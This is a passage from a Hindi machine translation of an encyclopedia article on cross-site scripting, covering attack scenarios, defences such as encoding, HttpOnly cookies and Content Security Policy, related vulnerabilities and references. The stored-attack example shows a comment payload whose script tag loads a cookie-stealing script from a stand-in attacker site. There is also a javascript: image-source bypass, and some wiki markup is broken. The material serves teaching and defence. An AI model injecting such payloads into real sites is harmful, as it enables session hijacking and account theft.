  8. वह इसे एक कदम आगे ले जाने का फैसला करती है और खुद बॉब को एक समान रूप से तैयार की गई लिंक भेजती है, इस प्रकार बॉब की वेबसाइट पर व्यवस्थापकीय विशेषाधिकार प्राप्त करती है।

इस हमले को कम करने के लिए कई काम किए जा सकते थे:

  1. खोज इनपुट HTML स्वच्छताकरण हो सकता था, जिसमें उचित एन्कोडिंग जाँच शामिल होगी।
  2. वेब सर्वर को सर्वर-साइड रीडायरेक्ट अमान्य अनुरोधों पर सेट किया जा सकता है।
  3. वेब सर्वर एक साथ लॉगिन का पता लगा सकता है और सत्रों को अमान्य कर सकता है।
  4. वेब सर्वर दो अलग-अलग आईपी पतों से एक साथ लॉगिन का पता लगा सकता है और सत्रों को अमान्य कर सकता है।
  5. वेबसाइट पहले उपयोग किए गए क्रेडिट कार्ड के केवल अंतिम कुछ अंक प्रदर्शित कर सकती है।
  6. वेबसाइट को अपनी पंजीकरण जानकारी बदलने से पहले उपयोगकर्ताओं को अपना पासवर्ड फिर से दर्ज करने की आवश्यकता हो सकती है।
  7. वेबसाइट सामग्री सुरक्षा नीति के विभिन्न पहलुओं को अधिनियमित कर सकती है।
  8. कुकी को सेट करें HttpOnly जावास्क्रिप्ट से पहुंच को रोकने के लिए ध्वज।

लगातार हमला

  1. मैलोरी का बॉब की वेबसाइट पर अकाउंट है।
  2. मैलोरी ने देखा कि बॉब की वेबसाइट में एक संग्रहीत XSS भेद्यता है: यदि कोई समाचार अनुभाग में जाता है और एक टिप्पणी पोस्ट करता है, तो साइट जो कुछ भी दर्ज किया गया है उसे प्रदर्शित करेगी। यदि टिप्पणी पाठ में HTML टैग हैं, तो उन्हें वेबपृष्ठ के स्रोत में जोड़ दिया जाएगा; विशेष रूप से, पृष्ठ लोड होने पर कोई भी स्क्रिप्ट टैग चलेंगे।
  3. मैलोरी समाचार अनुभाग में एक लेख पढ़ता है और एक टिप्पणी दर्ज करता है:
    I love the puppies in this story! They're so cute!<script src="http://mallorysevilsite.com/authstealer.js">
  4. जब ऐलिस (या कोई और) पृष्ठ को टिप्पणी के साथ लोड करता है, तो मैलोरी का स्क्रिप्ट टैग ऐलिस के प्राधिकरण कुकी को चलाता है और चोरी करता है, इसे संग्रह के लिए मैलोरी के गुप्त सर्वर पर भेजता है।[22]# मैलोरी अब ऐलिस के सत्र का अपहरण कर सकती है और ऐलिस का प्रतिरूपण कर सकती है।[23][22]

बॉब के वेबसाइट सॉफ़्टवेयर को स्क्रिप्ट टैग को हटा देना चाहिए या यह सुनिश्चित करने के लिए कुछ करना चाहिए कि यह काम नहीं कर रहा है; सुरक्षा बग इस तथ्य में शामिल है कि उसने नहीं किया।

निवारक उपाय


प्रासंगिक आउटपुट एन्कोडिंग/स्ट्रिंग इनपुट से बचना

बचने की कई योजनाएँ हैं जिनका उपयोग इस बात पर निर्भर करते हुए किया जा सकता है कि HTML इकाई एन्कोडिंग, जावास्क्रिप्ट एस्केपिंग, CSS एस्केपिंग और प्रतिशत-एन्कोडिंग | URL (या प्रतिशत) एन्कोडिंग सहित HTML दस्तावेज़ में कहाँ रखा जाना चाहिए।[24] अधिकांश वेब एप्लिकेशन जिन्हें समृद्ध डेटा को स्वीकार करने की आवश्यकता नहीं है, वे XSS हमलों के जोखिम को काफी हद तक सीधे तरीके से समाप्त करने के लिए भागने का उपयोग कर सकते हैं।

केवल XML और HTML वर्ण इकाई संदर्भों की सूची पर HTML इकाई एन्कोडिंग निष्पादित करना#XML में पूर्वनिर्धारित इकाइयां हमेशा XSS हमलों के कई रूपों को रोकने के लिए पर्याप्त नहीं होती हैं, सुरक्षा एन्कोडिंग लाइब्रेरी आमतौर पर उपयोग में आसान होती हैं।[24]

कुछ वेब टेम्पलेट सिस्टम अपने द्वारा उत्पादित HTML की संरचना को समझते हैं और स्वचालित रूप से उपयुक्त एन्कोडर चुनते हैं।[25][26][27]


=== अविश्वसनीय HTML इनपुट === को सुरक्षित रूप से मान्य करना

विशेष वेब एप्लिकेशन के कई ऑपरेटर (जैसे फ़ोरम और वेबमेल) उपयोगकर्ताओं को HTML मार्कअप के सीमित सबसेट का उपयोग करने की अनुमति देते हैं। उपयोगकर्ताओं से HTML इनपुट स्वीकार करते समय (जैसे, <b>very</b> large), आउटपुट एन्कोडिंग (जैसे &lt;b&gt;very&lt;/b&gt; large) पर्याप्त नहीं होगा क्योंकि उपयोगकर्ता इनपुट को ब्राउज़र द्वारा HTML के रूप में प्रस्तुत करने की आवश्यकता होती है (इसलिए यह बहुत बड़े के बजाय बहुत बड़ा दिखाता है)। उपयोगकर्ताओं से HTML इनपुट स्वीकार करते समय XSS हमले को रोकना इस स्थिति में कहीं अधिक जटिल है। यह सुनिश्चित करने के लिए कि इसमें XSS कोड शामिल नहीं है, अविश्वसनीय HTML इनपुट को HTML स्वच्छता इंजन के माध्यम से चलाया जाना चाहिए।

कई मान्यताएं पार्सिंग आउट (काली सूची में डाले जाने) पर निर्भर करती हैं जो जोखिम वाले HTML टैग्स पर निर्भर करती हैं जैसे कि निम्नलिखित

<स्क्रिप्ट> <लिंक> <iframe>
</वाक्यविन्यास हाइलाइट>

इस दृष्टिकोण के साथ कई मुद्दे हैं, उदाहरण के लिए कभी-कभी प्रतीत होता है कि हानिरहित टैग छोड़े जा सकते हैं, जब सही ढंग से उपयोग किए जाने पर भी XSS हो सकता है

(नीचे उदाहरण देखें) <syntaxhighlight lang= html5 >
<img src= javascript:alert(1) >

एक और लोकप्रिय तरीका उपयोगकर्ता इनपुट को छीनना है और ' हालांकि इसे भी बायपास किया जा सकता है क्योंकि पेलोड को अस्पष्टता से छुपाया जा सकता है (यह लिंक देखें [1] के एक चरम उदाहरण के लिए यह)

कुकी सुरक्षा

सामग्री फ़िल्टरिंग के अलावा, क्रॉस-साइट स्क्रिप्टिंग न्यूनीकरण के लिए अन्य अपूर्ण विधियों का भी आमतौर पर उपयोग किया जाता है। HTTP कुकी-आधारित उपयोगकर्ता प्रमाणीकरण को संभालते समय एक उदाहरण अतिरिक्त सुरक्षा नियंत्रणों का उपयोग है। कई वेब एप्लिकेशन व्यक्तिगत HTTP अनुरोधों के बीच प्रमाणीकरण के लिए सत्र कुकीज़ पर भरोसा करते हैं, और क्योंकि क्लाइंट-साइड स्क्रिप्ट के पास आमतौर पर इन कुकीज़ तक पहुंच होती है, सरल XSS शोषण इन कुकीज़ को चुरा सकता है।[28] इस विशेष खतरे को कम करने के लिए (हालांकि सामान्य रूप से XSS समस्या नहीं), कई वेब एप्लिकेशन सत्र कुकीज़ को मूल रूप से लॉग इन करने वाले उपयोगकर्ता के आईपी पते से जोड़ते हैं, फिर केवल उस आईपी को उस कुकी का उपयोग करने की अनुमति देते हैं।[29] यह ज्यादातर स्थितियों में प्रभावी होता है (यदि कोई हमलावर केवल कुकी के बाद होता है), लेकिन स्पष्ट रूप से उन स्थितियों में टूट जाता है जहां एक हमलावर उसी नेटवर्क पते के पीछे होता है, जिसका अनुवाद किया गया आईपी पता या वेब प्रॉक्सी पीड़ित के रूप में होता है, या पीड़ित अपने को बदल रहा है मोबाइल आईपी।[29]

Internet Explorer (संस्करण 6 से), Firefox (संस्करण 2.0.0.5 से), Safari (वेब ​​ब्राउज़र) (संस्करण 4 से), Opera (वेब ​​ब्राउज़र) (संस्करण 9.5 से) और Google Chrome में मौजूद एक और शमन, एक HttpOnly फ़्लैग है जो वेब सर्वर को ऐसी कुकी सेट करने की अनुमति देता है जो क्लाइंट-साइड स्क्रिप्ट के लिए अनुपलब्ध है। लाभकारी होने पर, सुविधा न तो कुकी चोरी को पूरी तरह से रोक सकती है और न ही ब्राउज़र के भीतर हमलों को रोक सकती है।[30]


स्क्रिप्ट अक्षम करना

जबकि वेब 2.0 और अजाक्स (प्रोग्रामिंग) डेवलपर्स को जावास्क्रिप्ट के उपयोग की आवश्यकता होती है,[31] कुछ वेब एप्लिकेशन किसी क्लाइंट-साइड स्क्रिप्ट की आवश्यकता के बिना ऑपरेशन की अनुमति देने के लिए लिखे गए हैं।[32] यह उपयोगकर्ताओं को, यदि वे चुनते हैं, एप्लिकेशन का उपयोग करने से पहले अपने ब्राउज़र में स्क्रिप्टिंग को अक्षम करने की अनुमति देता है। इस तरह, संभावित रूप से दुर्भावनापूर्ण क्लाइंट-साइड स्क्रिप्ट को भी एक पृष्ठ पर अनएस्कैप्ड डाला जा सकता है, और उपयोगकर्ता XSS हमलों के लिए अतिसंवेदनशील नहीं होंगे।

प्रति-डोमेन के आधार पर क्लाइंट-साइड स्क्रिप्ट को अक्षम करने के लिए कुछ ब्राउज़र या ब्राउज़र प्लगइन्स को कॉन्फ़िगर किया जा सकता है। यह दृष्टिकोण सीमित मूल्य का है यदि स्क्रिप्टिंग को डिफ़ॉल्ट रूप से अनुमति दी जाती है, क्योंकि यह खराब साइटों को ब्लॉक करता है, जब उपयोगकर्ता जानता है कि वे खराब हैं, जो बहुत देर हो चुकी है। कार्यक्षमता जो सभी स्क्रिप्टिंग और बाहरी समावेशन को डिफ़ॉल्ट रूप से अवरुद्ध करती है और फिर उपयोगकर्ता को इसे प्रति-डोमेन आधार पर सक्षम करने की अनुमति देती है, अधिक प्रभावी है। इंटरनेट एक्सप्लोरर (संस्करण 4 के बाद से) में अपने तथाकथित सुरक्षा क्षेत्र स्थापित करके यह एक लंबे समय के लिए संभव हो गया है,[33] और ओपेरा में (संस्करण 9 के बाद से) अपनी साइट विशिष्ट वरीयताएँ का उपयोग करते हुए।[34] फ़ायरफ़ॉक्स और अन्य गेको (लेआउट इंजन)-आधारित ब्राउज़रों के लिए एक समाधान ओपन सोर्स NoScript ऐड-ऑन है, जो प्रति-डोमेन आधार पर स्क्रिप्ट को सक्षम करने की क्षमता के अलावा, स्क्रिप्ट के सक्षम होने पर भी कुछ XSS सुरक्षा प्रदान करता है।[35] डिफ़ॉल्ट रूप से सभी वेबसाइटों पर सभी स्क्रिप्ट को अवरुद्ध करने में सबसे महत्वपूर्ण समस्या कार्यक्षमता और जवाबदेही में पर्याप्त कमी है (क्लाइंट-साइड स्क्रिप्टिंग सर्वर-साइड स्क्रिप्टिंग की तुलना में बहुत तेज़ हो सकती है क्योंकि इसे किसी दूरस्थ सर्वर और पृष्ठ या फ़्रेम से कनेक्ट करने की आवश्यकता नहीं होती है) (वर्ल्ड वाइड वेब) को पुनः लोड करने की आवश्यकता नहीं है)।[36] स्क्रिप्ट अवरोधन के साथ एक और समस्या यह है कि कई उपयोगकर्ता इसे समझ नहीं पाते हैं, और यह नहीं जानते कि अपने ब्राउज़रों को ठीक से कैसे सुरक्षित किया जाए। फिर भी एक और दोष यह है कि कई साइटें क्लाइंट-साइड स्क्रिप्टिंग के बिना काम नहीं करती हैं, जिससे उपयोगकर्ता उस साइट के लिए सुरक्षा को अक्षम कर देते हैं और अपने सिस्टम को कमजोरियों के लिए खोल देते हैं।[37] फ़ायरफ़ॉक्स नोस्क्रिप्ट एक्सटेंशन उपयोगकर्ताओं को उसी पृष्ठ पर दूसरों को अस्वीकार करते हुए किसी दिए गए पृष्ठ से स्क्रिप्ट को चुनिंदा रूप से अनुमति देने में सक्षम बनाता है। उदाहरण के लिए, example.com की स्क्रिप्ट्स को अनुमति दी जा सकती है, जबकि Advertisingagency.com की स्क्रिप्ट्स जो उसी पेज पर चलने की कोशिश कर रही हैं, उन्हें अनुमति नहीं दी जा सकती है।[38]


चुनिंदा अक्षम स्क्रिप्ट

सामग्री सुरक्षा नीति[39] (सीएसपी) एचटीएमएल दस्तावेज़ों को कुछ स्क्रिप्ट को अक्षम करने के लिए ऑप्ट इन करने की अनुमति देता है जबकि अन्य को सक्षम छोड़ देता है। ब्राउजर प्रत्येक स्क्रिप्ट को चलाने का निर्णय लेने से पहले नीति के विरुद्ध जांच करता है। जब तक नीति केवल भरोसेमंद स्क्रिप्ट की अनुमति देती है और इवल को अनुमति नहीं देती है, ब्राउज़र HTML दस्तावेज़ की संरचना की परवाह किए बिना अविश्वसनीय लेखकों के प्रोग्राम नहीं चलाएगा।

यह सुरक्षा बोझ को नीति लेखकों पर स्थानांतरित करता है। में पढ़ता है[40] मेजबान श्वेतसूची आधारित नीतियों की प्रभावकारिता पर संदेह व्यक्त किया है। <ब्लॉककोट>कुल मिलाकर, हम पाते हैं कि 94.68% नीतियां जो स्क्रिप्ट निष्पादन को सीमित करने का प्रयास करती हैं, अप्रभावी हैं, और सीएसपी के साथ 99.34% मेजबान उन नीतियों का उपयोग करते हैं जो एक्सएसएस के खिलाफ कोई लाभ नहीं देते हैं। आधुनिक[41] CSP नीतियां क्रिप्टोग्राफ़िक अस्थायी रूप से उपयोग करने की अनुमति देती हैं[42] नीति को पृष्ठ सामग्री से पूरी तरह से अलग रखने के बजाय HTML दस्तावेज़ में स्क्रिप्ट को चलाने के लिए सुरक्षित के रूप में चिह्नित करना। जब तक भरोसेमंद नॉन्स केवल भरोसेमंद स्क्रिप्ट पर दिखाई देते हैं, ब्राउज़र अविश्वसनीय लेखकों से प्रोग्राम नहीं चलाएगा। कुछ बड़े एप्लिकेशन प्रदाताओं ने गैर-आधारित नीतियों को सफलतापूर्वक परिनियोजित करने की रिपोर्ट दी है।[43][44]


उभरती रक्षात्मक प्रौद्योगिकियां

ग्राहक की ओर फ्रेमवर्क की लोकप्रियता ने हमलावरों के XSS को बनाने के तरीके को बदल दिया है।[45]

स्क्रिप्ट गैजेट किसी एप्लिकेशन के वैध कोड बेस के भीतर वैध जावास्क्रिप्ट अंश हैं ... हम प्रदर्शित करते हैं कि ये गैजेट लगभग सभी आधुनिक जावास्क्रिप्ट ढांचे में सर्वव्यापी हैं और उत्पादक कोड में स्क्रिप्ट गैजेट के प्रसार को दिखाते हुए एक अनुभवजन्य अध्ययन प्रस्तुत करते हैं। परिणामस्वरूप, हम मानते हैं कि आज लिखे गए वेब अनुप्रयोगों में अधिकांश न्यूनीकरण तकनीकों को बायपास किया जा सकता है।

विश्वसनीय प्रकार[46] वेब एपीआई को यह जांचने के लिए बदलता है कि मान विश्वसनीय के रूप में ट्रेडमार्क (कंप्यूटर सुरक्षा) हैं। जब तक प्रोग्राम केवल भरोसेमंद मूल्यों को ट्रेडमार्क करते हैं, एक हमलावर जो जावास्क्रिप्ट स्ट्रिंग (कंप्यूटर विज्ञान) को नियंत्रित करता है, XSS का कारण नहीं बन सकता है। विश्वसनीय प्रकारों को ब्लू टीम (कंप्यूटर सुरक्षा) द्वारा सूचना सुरक्षा ऑडिट के लिए डिज़ाइन किया गया है।

एक अन्य रक्षा दृष्टिकोण स्वचालित उपकरणों का उपयोग करना है जो वेब पेजों में XSS दुर्भावनापूर्ण कोड को हटा देगा, ये उपकरण संभावित रूप से दुर्भावनापूर्ण कोडों की पहचान करने और बचने जैसे तरीकों का उपयोग करके उन्हें सुरक्षित करने के लिए स्थिर प्रोग्राम विश्लेषण और/या पैटर्न मिलान विधियों का उपयोग करते हैं।[47]


सेमसाइट कुकी पैरामीटर

जब एक कुकी को SameSite=Strict पैरामीटर के साथ सेट किया जाता है, तो इसे सभी क्रॉस-ऑरिजनल अनुरोधों से हटा दिया जाता है। जब SameSite=Lax के साथ सेट किया जाता है, तो इसे सभी गैर-सुरक्षित क्रॉस-ऑरिजिन अनुरोधों से हटा दिया जाता है (अर्थात, GET, OPTIONS, और TRACE के अलावा अन्य अनुरोध जिनमें केवल-पढ़ने के लिए सिमेंटिक होते हैं)।[48] यह सुविधा Google Chrome में संस्करण 63 से और Firefox संस्करण 60 से लागू की गई है।[49]


संबंधित भेद्यता

यूनिवर्सल क्रॉस-साइट स्क्रिप्टिंग (यूएक्सएसएस, या यूनिवर्सल एक्सएसएस) हमले में, ब्राउज़र में ही या ब्राउज़र प्लगइन्स में कमजोरियों का शोषण किया जाता है (अन्य वेबसाइटों में कमजोरियों के बजाय, जैसा कि एक्सएसएस हमलों के मामले में होता है)।[50][51] कमजोरियों या हमले की तकनीकों के कई वर्ग XSS से संबंधित हैं: क्रॉस-ज़ोन स्क्रिप्टिंग कुछ ब्राउज़रों में ज़ोन अवधारणाओं का शोषण करती है और आमतौर पर अधिक विशेषाधिकार के साथ कोड निष्पादित करती है।[52][53] HTTP हेडर इंजेक्शन का उपयोग HTTP प्रोटोकॉल स्तर (HTTP प्रतिक्रिया विभाजन जैसे हमलों को सक्षम करने के अलावा) पर बचने की समस्याओं के कारण क्रॉस-साइट स्क्रिप्टिंग स्थितियों को बनाने के लिए किया जा सकता है।[54] क्रॉस-साइट अनुरोध जालसाजी (CSRF/XSRF) XSS के लगभग विपरीत है, इसमें साइट में उपयोगकर्ता के भरोसे का फायदा उठाने के बजाय, हमलावर (और उसका दुर्भावनापूर्ण पृष्ठ) क्लाइंट सॉफ़्टवेयर में साइट के भरोसे का फायदा उठाता है, अनुरोध सबमिट करता है कि साइट का मानना ​​है कि प्रमाणीकृत उपयोगकर्ताओं के सचेत और इरादतन कार्यों का प्रतिनिधित्व करती है।[55] XSS भेद्यताएँ (समान डोमेन पर चल रहे अन्य अनुप्रयोगों में भी) हमलावरों को CSRF रोकथाम प्रयासों को बायपास करने की अनुमति देती हैं।[56] फ़िशिंग#गुप्त रीडायरेक्ट XSS या ओपन रीडायरेक्ट हमलों के प्रति संवेदनशील तीसरे पक्ष के ग्राहकों का लाभ उठाता है।[57] सामान्य फ़िशिंग प्रयासों का पता लगाना आसान हो सकता है, क्योंकि दुर्भावनापूर्ण पृष्ठ का URL आमतौर पर वास्तविक साइट के कुछ अक्षरों से बंद होगा। गुप्त पुनर्निर्देशन के साथ अंतर यह है कि एक हमलावर दुर्भावनापूर्ण लॉगिन पॉप-अप डायलॉग बॉक्स के साथ साइट को दूषित करने के बजाय वास्तविक वेबसाइट का उपयोग कर सकता है। रेफरी नाम = टॉम्सगाइड>Scharr, Jill (May 2, 2014). "नए सुरक्षा दोष से फेसबुक, गूगल यूजर्स को खतरा". Tom's Guide. Retrieved December 21, 2014.</रेफरी>

अंत में, SQL इंजेक्शन किसी एप्लिकेशन की डेटाबेस परत में भेद्यता का फायदा उठाता है। जब उपयोगकर्ता इनपुट गलत तरीके से फ़िल्टर किया जाता है, तो किसी भी SQL कथन को एप्लिकेशन द्वारा निष्पादित किया जा सकता है। रेफरी>"एसक्यूएल इंजेक्षन". Web Application Security Consortium. 2005. Retrieved June 7, 2008.</रेफरी>[58] वेब ब्राउज़र के दिए गए संस्करण को प्रभावित करने वाले विशिष्ट XSS विशिष्ट होते हैं। नतीजतन, ब्राउज़र विक्रेता और उपयोगकर्ता के संस्करण को फिंगरप्रिंट करने के लिए XSS का उपयोग करना संभव है।[59]


यह भी देखें

संदर्भ

  1. ↑ During the second half of 2007, 11,253 site-specific cross-site vulnerabilities were documented by XSSed, compared to 2,134 "traditional" vulnerabilities documented by Symantec, in "Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)" (PDF). XIII. Symantec Corp. April 2008: 1–3. Archived from the original (PDF) on June 25, 2008. Retrieved May 11, 2008. {{cite journal}}: Cite journal requires |journal= (help)
  2. ↑ "समान मूल नीति - वेब सुरक्षा। W3.org।". Retrieved November 4, 2014.
  3. ↑ "dross" on MSDN (December 15, 2009). "क्रॉस-साइट स्क्रिप्टिंग को 10वां जन्मदिन मुबारक हो!". Retrieved March 19, 2016. 16 जनवरी, 2000 को, Microsoft सुरक्षा इंजीनियरों के एक छोटे समूह के बीच निम्नलिखित नामों का सुझाव दिया गया और बाउंस किया गया: [...] अगले दिन आम सहमति थी - क्रॉस साइट स्क्रिप्टिंग।
  4. ↑ Grossman, Jeremiah (July 30, 2006). "क्रॉस-साइट स्क्रिप्टिंग (XSS) की उत्पत्ति". Retrieved September 15, 2008.
  5. ↑ Arthur, Charles (September 21, 2010). "साराह ब्राउन सहित ट्विटर उपयोगकर्ता दुर्भावनापूर्ण हैकर हमले से प्रभावित हुए". The Guardian. Retrieved September 21, 2010.
  6. ↑ Leyden, John (May 23, 2008). "फेसबुक XSS दोष द्वारा पोक किया गया". The Register. Retrieved May 28, 2008.
  7. ↑ Christey, Steve; Martin, Robert A. (May 22, 2007). "CVE में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved June 7, 2008.
  8. ↑ Berinato, Scott (January 1, 2007). "Software Vulnerability Disclosure: The Chilling Effect". CSO. CXO Media. p. 7. Archived from the original on April 18, 2008. Retrieved June 7, 2008.
  9. ↑ Amit, Yair (December 21, 2005). "Google.com UTF-7 XSS Vulnerabilities". Archived from the original on October 23, 2020. Retrieved February 20, 2022.
  10. ↑ 10.0 10.1 Paco, Hope; Walther, Ben (2008). वेब सुरक्षा परीक्षण कुकबुक. Sebastopol, CA: O'Reilly Media, Inc. p. 128. ISBN 978-0-596-51483-9.
  11. ↑ Hydara, Isatou; Sultan, Abu Bakar Md.; Zulzalil, Hazura; Admodisastro, Novia (February 1, 2015). "क्रॉस-साइट स्क्रिप्टिंग (XSS) पर शोध की वर्तमान स्थिति - एक व्यवस्थित साहित्य समीक्षा". Information and Software Technology (in English). 58: 170–186. doi:10.1016/j.infsof.2014.07.010.
  12. ↑ 12.0 12.1 12.2 "क्रॉस साइट स्क्रिप्टिंग". Web Application Security Consortium. 2005. Retrieved May 28, 2008.
  13. ↑ Grossman, Jeremiah; Hansen, Robert; Fogie, Seth; Petkov, Petko D.; Rager, Anton (2007). XSS अटैक: क्रॉस साइट स्क्रिप्टिंग एक्सप्लॉइट्स एंड डिफेंस (सार). pp. 70, 156. ISBN 978-1-59749-154-9. Retrieved May 28, 2008.
  14. ↑ This worm is named JS/Ofigel-A, JS/Quickspace.A and JS.Qspace, in "JS/Ofigel-A". Sophos. Archived from the original on August 2, 2009. Retrieved June 5, 2008. and "F-Secure Malware Information Pages: JS/Quickspace.A". F-Secure. January 5, 2007. Retrieved June 5, 2008. and "JS.Qspace". Symantec Corp. February 13, 2007. Retrieved June 5, 2008.
  15. ↑ Viruses and worms in Alcorn, Wade (September 27, 2005). "The Cross-site Scripting Virus". BindShell.net. Archived from the original on May 16, 2008. Retrieved May 27, 2008. and Grossman, Jeremiah (November 2020). "Cross-Site Scripting Worms and Viruses: The Impending Threat and the Best Defense". WhiteHat Security. p. 20. Retrieved June 6, 2008.[permanent dead link]
  16. ↑ "Bug 272620 – XSS vulnerability in internal error messages". Bugzilla@Mozilla. 2004. Retrieved May 29, 2008.
  17. ↑ "डोम आधारित एक्सएसएस". OWASP.
  18. ↑ "JQuery बग #9521". 2011.
  19. ↑ "DOM आधारित XSS रोकथाम चीट शीट". OWASP.
  20. ↑ "सख्त प्रासंगिक पलायन". Angular.js.
  21. ↑ "सेल्फ-एक्सएसएस फेसबुक स्कैम यूजर्स को खुद को हैक करने के लिए बरगलाने की कोशिश करता है". www.majorgeeks.com. July 29, 2014. Retrieved September 20, 2016.
  22. ↑ 22.0 22.1 22.2 Lakshmanan Ganapathy (February 16, 2012). "XSS हमले के उदाहरण (क्रॉस-साइट स्क्रिप्टिंग हमले)". www.thegeekstuff.com.
  23. ↑ Brodkin, Jon (October 4, 2007). "वेब साइटों के हैक होने के शीर्ष 10 कारण". Network World. IDG. Retrieved February 6, 2017.
  24. ↑ 24.0 24.1 Williams, Jeff (January 19, 2009). "XSS (क्रॉस साइट स्क्रिप्टिंग) प्रिवेंशन चीट शीट". OWASP. Archived from the original on March 18, 2017. Retrieved February 4, 2010.
  25. ↑ "टेम्पलेट - द गो प्रोग्रामिंग लैंग्वेज". golang.org. Retrieved May 1, 2019.
  26. ↑ "गूगल डेवलपर्स". गूगल डेवलपर्स (in English). Retrieved May 1, 2019.
  27. ↑ "पग-प्लगइन-भरोसेमंद-types". npm. Retrieved May 1, 2019.
  28. ↑ Sharma, Anand (February 3, 2004). "क्रॉस-साइट स्क्रिप्टिंग हमले को रोकें". IBM. Retrieved May 29, 2008.
  29. ↑ 29.0 29.1 "मॉडसिक्योरिटी: विशेषताएं: पीडीएफ यूनिवर्सल एक्सएसएस प्रोटेक्शन". Breach Security. Archived from the original on March 23, 2008. Retrieved June 6, 2008.
  30. ↑ "अजाक्स और मैशप सुरक्षा". OpenAjax Alliance. Archived from the original on April 3, 2008. Retrieved June 9, 2008.
  31. ↑ O'Reilly, Tim (September 30, 2005). "वेब 2.0 क्या है". O'Reilly Media. pp. 4–5. Retrieved June 4, 2008.
  32. ↑ "A page should work, even if in a degraded form, without JavaScript." in Zammetti, Frank (April 16, 2007). Practical JavaScript, DOM Scripting and Ajax Projects via Amazon Reader. Apress. p. 36. ISBN 978-1-59059-816-0. Retrieved June 4, 2008.
  33. ↑ "Internet Explorer में सुरक्षा क्षेत्र का उपयोग कैसे करें". Microsoft. December 18, 2007. Retrieved June 4, 2008.
  34. ↑ Lie, Håkon Wium (February 7, 2006). "ओपेरा 9 प्रौद्योगिकी पूर्वावलोकन 2". Opera Software. Archived from the original on May 17, 2008. Retrieved June 4, 2008.
  35. ↑ "नोस्क्रिप्ट". Mozilla. May 30, 2008. Retrieved June 4, 2008. and Mogull, Rich (March 18, 2008). "Should Mac Users Run Antivirus Software?". TidBITS. TidBITS Publishing. Retrieved June 4, 2008.
  36. ↑ "डेटाविंडो प्रोग्रामर गाइड में "क्लाइंट-साइड इवेंट्स का उपयोग करना"". Sybase. March 2003. Archived from the original on June 18, 2008. Retrieved June 4, 2008.
  37. ↑ 73% of sites relied on JavaScript in late 2006, in "'Most websites' failing disabled". BBC News. December 6, 2006. Retrieved June 4, 2008.
  38. ↑ "नोस्क्रिप्ट सुविधाएँ". Retrieved March 7, 2009.
  39. ↑ "सामग्री सुरक्षा नीति स्तर 3". www.w3.org. Retrieved May 1, 2019.
  40. ↑ Weichselbaum, Lukas (2016). "सीएसपी मर चुका है, सीएसपी जिंदाबाद! श्वेतसूची की असुरक्षा और सामग्री सुरक्षा नीति के भविष्य पर" (PDF). Proceedings of the 2016 ACM SIGSAC Conference on Computer and Communications Security. CCS '16: 1376–1387. doi:10.1145/2976749.2978363. ISBN 9781450341394. S2CID 16400010.
  41. ↑ "क्या मैं उपयोग कर सकता हूँ... HTML5, CSS3, आदि के लिए समर्थन तालिकाएँ". caniuse.com. Retrieved May 1, 2019.
  42. ↑ "सख्त सीएसपी - सामग्री सुरक्षा नीति". csp.withgoogle.com. Retrieved May 1, 2019.
  43. ↑ "वेब की खामियों को कम करने के लिए Google सामग्री सुरक्षा नीति का उपयोग कैसे कर रहा है". eWEEK. April 22, 2019. Retrieved May 1, 2019.
  44. ↑ Akhawe, Devdatta. "[सीएसपी] रिपोर्टिंग और फ़िल्टरिंग पर". Dropbox Tech Blog (in English). Retrieved May 1, 2019.
  45. ↑ Lekies, Sebastian; Kotowicz, Krzysztof; Groß, Samuel; Nava, Eduardo Vela; Johns, Martin (2017). "वेब के लिए कोड-पुन: उपयोग के हमले: स्क्रिप्ट गैजेट्स के माध्यम से क्रॉस-साइट स्क्रिप्टिंग मिटिगेशन को तोड़ना" (PDF). {{cite journal}}: Cite journal requires |journal= (help)
  46. ↑ "विश्वसनीय प्रकार युक्ति WIP". wicg.github.io. Retrieved May 1, 2019.
  47. ↑ L. K. Shar and H. B. K. Tan, "Automated removal of cross site scripting vulnerabilities in web applications," Information and Software Technology, vol. 54, (5), pp. 467-478, 2012.
  48. ↑ Mark, Goodwin; Mike, West. "एक ही साइट कुकीज़". tools.ietf.org (in English). Retrieved May 4, 2018.
  49. ↑ "क्या मैं उपयोग कर सकता हूँ... HTML5, CSS3, आदि के लिए समर्थन तालिकाएँ". caniuse.com (in English). Retrieved May 4, 2018.
  50. ↑ Di Paola, Stefano (January 3, 2007). "Adobe Acrobat Reader प्लगइन - एकाधिक भेद्यताएँ". Wisec.it. Retrieved March 13, 2012.
  51. ↑ Suggi Liverani, Roberto (April 26, 2017). "McAfee Endpoint Security में UXSS, www.mcafee.com और कुछ अतिरिक्त चीज़ें..." blog.malerisch.net. Retrieved May 3, 2017.
  52. ↑ "इंटरनेट एक्सप्लोरर में सुरक्षा छेद हमलावरों को मनमाना कार्यक्रम निष्पादित करने की अनुमति देता है". Heise Media UK. May 16, 2008. Retrieved June 7, 2008.
  53. ↑ Suggi Liverani, Roberto (April 21, 2010). "फ़ायरफ़ॉक्स में क्रॉस प्रसंग स्क्रिप्टिंग" (PDF). Security-Assessment.com. Archived from the original (PDF) on April 28, 2016. Retrieved May 3, 2017.
  54. ↑ "Adobe Flash Player में संभावित HTTP हेडर इंजेक्शन भेद्यता के लिए अपडेट उपलब्ध है". Adobe Systems. November 14, 2006. Retrieved June 7, 2008.
  55. ↑ Auger, Robert (April 17, 2008). "क्रॉस-साइट अनुरोध जालसाजी (CSRF/XSRF) अक्सर पूछे जाने वाले प्रश्न (संस्करण 1.59)". Cgisecurity.com. Retrieved June 7, 2008.
  56. ↑ Schneider, Christian. "सीएसआरएफ और समान मूल एक्सएसएस". www.webappsecblog.com. Archived from the original on August 14, 2012. Retrieved April 21, 2012.
  57. ↑ "OAuth 2.0 और OpenID पुनर्निर्देशन भेद्यता". Hacker News. May 2, 2014. Retrieved December 21, 2014.
  58. ↑ "क्रॉस-साइट स्क्रिप्टिंग एफएक्यू". Cgisecurity.com. 2002. Retrieved June 7, 2008.
  59. ↑ Abgrall, Erwan; Traon, Yves Le; Gombault, Sylvain; Monperrus, Martin (2014). "Empirical Investigation of the Web Browser Attack Surface under Cross-Site Scripting: An Urgent Need for Systematic Security Regression Testing". सॉफ्टवेयर परीक्षण, सत्यापन और सत्यापन कार्यशालाओं पर 2014 IEEE सातवां अंतर्राष्ट्रीय सम्मेलन (PDF). pp. 34–41. doi:10.1109/ICSTW.2014.63. ISBN 978-1-4799-5790-3. S2CID 8028548.


आगे की पढाई


इस पेज में लापता आंतरिक लिंक की सूची

  • पहुँच नियंत्रण
  • समान मूल नीति
  • वेब एप्लीकेशन
